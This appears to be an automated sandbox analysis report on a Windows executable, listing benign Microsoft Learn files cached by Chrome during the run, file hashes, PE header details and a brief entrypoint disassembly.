Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946165292786329
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'855'488 bytes
MD5:	828b27824dcb03a47d868b1193b68944
SHA1:	3e95020731c4409baed6c2b32462bc8594c00a93
SHA256:	ca2bb94ecc2dd930645bb85f11ea8f00586c72e0ea0a38cd7a3bddfd5e498e1d
SHA512:	eec000449200428ff8a0e5f367f809dcf9cd8a295ce53f6b9686e9e1ec3b08647e5d02864ea1e14f4c623fc9a677c6dc985dca9249ac26c54e8c940ef0d27dc5
SSDEEP:	49152:ud68IP5HXDLQBJlVupauP1/Xj6IOQUsxKnXZw:f8GDsyxXjGzsxK
TLSH:	4F8533EB3C213471F64AC370AEB9569166205FD47BB3AB5B4CD0AB3B4862CC9117DC25
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................PI...........@...........................I...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x895000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F18AD3DC0DAh
ucomiss xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F18AD3DE0D5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

